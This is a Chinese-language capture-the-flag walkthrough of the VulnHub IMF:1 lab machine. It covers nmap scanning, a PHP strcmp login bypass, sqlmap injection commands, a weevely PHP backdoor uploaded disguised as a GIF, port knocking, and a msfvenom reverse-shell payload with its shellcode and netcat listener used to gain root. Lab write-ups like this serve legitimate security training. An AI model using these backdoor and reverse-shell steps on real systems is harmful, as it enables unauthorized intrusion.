zoukankan      html  css  js  c++  java
  • VulnHub靶场篇8-IMF:1

    靶机地址:IMF:1 ~ VulnHub
    难易程度:5.5 / 10.0

    文章简要记录渗透靶机每一个过程,对于渗透过程中的每一步并非十分的详细,其中部分内容会有错,望读者指出错误,谢谢!

    摘要:扫描端口只有一个80http服务端口,对页面检查分别发现两个flag,在/imfadministrator目录下发现登录表单,根据提示利用PHPstrcmp的特性进行了绕过,进入cms.php页面,发现其下不同页面是通过get参数请求的,使用sqlmap跑出它的目录结构,发现了一个隐藏页面,得到一个upload页面,使用weevely工具进行文件上传获取低权限用户,最后再通过PWN掉agent程序得到root权限。

    主机探测&端口扫描

    靶机ip为:192.168.1.18

    端口扫描结果:

    hhh@Kali2020:~$ sudo nmap -sS -sV -A -T5 -p- 192.168.1.18
    Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-01 14:51 CST
    Nmap scan report for imf (192.168.1.18)
    Host is up (0.00022s latency).
    Not shown: 65534 filtered ports
    PORT   STATE SERVICE VERSION
    80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
    |_http-server-header: Apache/2.4.18 (Ubuntu)
    |_http-title: IMF - Homepage
    MAC Address: 08:00:27:33:EC:5A (Oracle VirtualBox virtual NIC)
    Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
    Device type: general purpose
    Running: Linux 3.X|4.X
    OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
    OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
    Network Distance: 1 hop
    
    TRACEROUTE
    HOP RTT     ADDRESS
    1   0.22 ms imf (192.168.1.18)
    
    OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 61.04 seconds
    
    

    信息搜集

    80端口 http服务

    1. 在contact.php页面源码中发现了flag1
    flag1{YWxsdGhlZmlsZXM=}
    

    顺便base64解码下:allthefiles

    1. 在F12中进行检查,网络中的一些文件名比较可疑可以组成base64码, ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==,进行解码得到flag2
    flag2{aW1mYWRtaW5pc3RyYXRvcg==}
    

    再顺便解码下:imfadministrator

    yZsjf0.png

    1. 进入到/imfadministrator目录下,发现一个登录表单

    8_02.jpg

    1. 直接丢sqlmap跑它,发现并没有用
    sqlmap -o -u "http://192.168.1.18/imfadministrator/" --forms --dbs
    
    1. 使用burpsuite抓包康康
      查看该页面源代码,可以得到提示信息, 也就是说通常使用==strcmp在php中进行比较区分不同大小写字符串,但是strcmp有个特点,就是当字符串和数组进行比较时,函数返回0,我们这里可以将pass换成pass[],很巧妙的绕过了!

      <!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger -->
      

    8_03.jpg

    这里将用户名改为之前在contact页面上的一个人名rmichaels,再将pass改为pass[],成功获得flag3

    flag3{Y29udGludWVUT2Ntcw==}
    

    解码为:continueTOcms

    8_04.jpg

    1. 前往该网站,发现url中的参数可以用sqlmap跑
    2. sqlmap跑该参数

    方法一:保存抓取的包,跑该包

    sqlmap -r cmssql --risk=3 --level=5 --dbs --dump --batch --threads=10
    

    -r:指定请求文件
    --risk=3:指风险等级为3,增加OR语句的SQL注入测试
    --level=5:表示当前扫描的等级,会测试HTTP Cookie头的值和User-Agent及HTTP Reference头的值
    --dbs:列出所有的数据库
    --dump:获取转存整个表的信息
    --batch:自动按照默认值运行下去,用户无需输入
    --threads=10:指定线程为10?

    方法二:对网站直接跑

    sqlmap -u 'http://192.168.1.18/imfadministrator/cms.php?pagename=home' --cookie 'PHPSESSID=l9rer37phrgoivghlsebtoai57' --level=5 --risk=3 --dbs --batch --random-agent
    
    sqlmap -u 'http://192.168.1.18/imfadministrator/cms.php?pagename=home' --cookie 'PHPSESSID=l9rer37phrgoivghlsebtoai57' --level=5 --risk=3 -D admin --tables --batch --random-agent
    
    sqlmap -u 'http://192.168.1.18/imfadministrator/cms.php?pagename=home' --cookie 'PHPSESSID=l9rer37phrgoivghlsebtoai57' --level=5 --risk=3 -D admin -T pages --columns --batch --random-agent
    
    sqlmap -u 'http://192.168.1.18/imfadministrator/cms.php?pagename=home' --cookie 'PHPSESSID=l9rer37phrgoivghlsebtoai57' --level=5 --risk=3 -D admin -T pages -C id,pagedata,pagename --batch --random-agent --dump
    
    或者直接可以一步
    sqlmap -u 'http://192.168.1.18/imfadministrator/cms.php?pagename=home' --cookie 'PHPSESSID=l9rer37phrgoivghlsebtoai57' --level=5 --risk=3 --dbs --batch --dump
    

    可以看到在该数据库内有一个/tutorials-incomplete目录,前往

    http://192.168.1.18/imfadministrator/cms.php?pagename=tutorials-incomplete
    

    扫描图片中的二维码可以找到flag4

    flag4{dXBsb2Fkcjk0Mi5waHA=}
    

    解码为:uploadr942.php

    1. 前往该页面
    http://192.168.1.18/imfadministrator/uploadr942.php
    

    权限获取

    该网页是一个文件上传

    途径一:使用weevely工具

    相关资料:
    Weevely(php菜刀)工具使用详解 - FreeBuf网络安全行业门户
    Weevely (Linux中的菜刀)_Mr. Anonymous的博客-CSDN博客_weevely

    1. 生成php后门文件
    weevely generate mima123 backdoor.php
    

    基本语法:weevely generate 密码 文件名

    1. 修改gif文件,并在其内容首行增加GIF3499aa09(随机值)

    2. 讲该gif文件上传,查看源代码,在注释处有一串码,为连接的文件名

    3. 使用weevely工具进行连接

    weevely http://192.168.1.14/imfadministrator/uploads/bc9c4c4bf549.gif mima123
    
    1. 成功获取到低权限用户,浏览目录发现flag5
    flag5{YWdlbnRzZXJ2aWNlcw==}
    

    解码为:agentservices

    权限提升

    根据提示搜索agent服务,前往agent目录下

    www-data@imf: $ whereis agent
    agent: /usr/local/bin/agent
    www-data@imf:/usr/local/bin $ ls
    access_codes
    agent
    

    运行agent,检查有代理在运行,是7788端口,但是kali扫描不到该端口,需要端口碰撞

    ./agent
    netstat -ant
    

    该目录下的access_codes文件正好是端口序列,使用knock工具进行连接
    GitHub - grongor/knock: Simple python port knocking client

    ./knock 192.168.1.18 7482 8279 9467
    

    这是kali就可以扫描到该端口了

    在 weevely shell上将该agent文件放到网站下,便于我们直接获取

    cp /usr/local/bin/agent /var/www/html/imfadministrator
    wget http://192.168.1.18/imfadministrator/agent
    

    方法一

    这里相当于是一个PWN题,不是很熟,暂时就先将步骤直接操作了一遍,具体的原理需要慢慢研究

    1. 下载脚本
      https://raw.githubusercontent.com/jessekurrus/agentsploit/master/agentsploit.py

    2. 生成自己kali的shellcode

    msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.15 LPORT=4448 -f python -b "x00x0ax0d"
    
    1. 将shellcode进行替换,下面那部分
    buf =  ""
    buf += "xbaxf9x03x07x8fxd9xe5xd9x74x24xf4x5bx31"
    buf += "xc9xb1x12x31x53x12x03x53x12x83x12xffxe5"
    buf += "x7axd5xdbx1dx67x46x9fxb2x02x6ax96xd4x63"
    buf += "x0cx65x96x17x89xc5xa8xdaxa9x6fxaex1dxc1"
    buf += "xafxf8xdfx1ex58xfbxdfx31xf8x72x3ex81x9e"
    buf += "xd4x90xb2xedxd6x9bxd5xdfx59xc9x7dx8ex76"
    buf += "x9dx15x26xa6x4ex87xdfx31x73x15x73xcbx95"
    buf += "x29x78x06xd5"
    
    1. 监听端口4448
    nc -lnvp 4448
    
    1. 执行exp代码
    python exp.py 192.168.1.18 7788
    

    连接成功,访问得到flag6

    flag6{R2gwc3RQcm90MGMwbHM=}
    

    解码为:Gh0stProt0c0ls

    root@imf:/root# cat TheEnd.txt
       ____                        _ __   __   
      /  _/_ _  ___  ___  ___ ___ (_) /  / /__ 
     _/ //  ' / _ / _ (_-<(_-</ / _ / / -_)
    /___/_/_/_/ .__/\___/___/___/_/_.__/_/\__/ 
       __  __/_/        _                      
      /  |/  (_)__ ___ (_)__  ___              
     / /|_/ / (_-<(_-</ / _ / _              
    /_/__/_/_/___/___/_/\___/_//_/             
      / __/__  ___________                     
     / _// _ / __/ __/ -_)                    
    /_/  \___/_/  \__/\__/                     
                                               
    Congratulations on finishing the IMF Boot2Root CTF. I hope you enjoyed it.
    Thank you for trying this challenge and please send any feedback.
    
    Geckom
    Twitter: @g3ck0ma
    Email: geckom@redteamr.com
    Web: http://redteamr.com
    
    Special Thanks
    Binary Advice: OJ (@TheColonial) and Justin Stevens (@justinsteven)
    Web Advice: Menztrual (@menztrual)
    Testers: dook (@dooktwit), Menztrual (@menztrual), llid3nlq and OJ(@TheColonial)
    

    总结

    1. burpsuite
    2. PHP strcmp特性
    3. sqlmap跑目录名
    4. 文件上传
    5. weevely工具
    6. 端口碰撞
    7. PWN

    参考

    VulnHub: Разбор IMF 1 и очередное переполнение буфера / Habr

    Vulnhub-靶机-IMF: 1 - 白帽安全技术复现 - 博客园 (cnblogs.com)

    IMF Walkthrough (VulnHub) – Digitalmunition

    No.8-VulnHub-IMF: 1-Walkthrough渗透学习_大余xiyou的博客-CSDN博客

    https://www.youtube.com/watch?v=Hxu668hgmnA&feature=youtu.be

  • 相关阅读:
    Hdu 5396 Expression (区间Dp)
    Lightoj 1174
    codeforces 570 D. Tree Requests (dfs)
    codeforces 570 E. Pig and Palindromes (DP)
    Hdu 5385 The path
    Hdu 5384 Danganronpa (AC自动机模板)
    Hdu 5372 Segment Game (树状数组)
    Hdu 5379 Mahjong tree (dfs + 组合数)
    Hdu 5371 Hotaru's problem (manacher+枚举)
    Face The Right Way---hdu3276(开关问题)
  • 原文地址:https://www.cnblogs.com/labster/p/14361196.html
Copyright © 2011-2022 走看看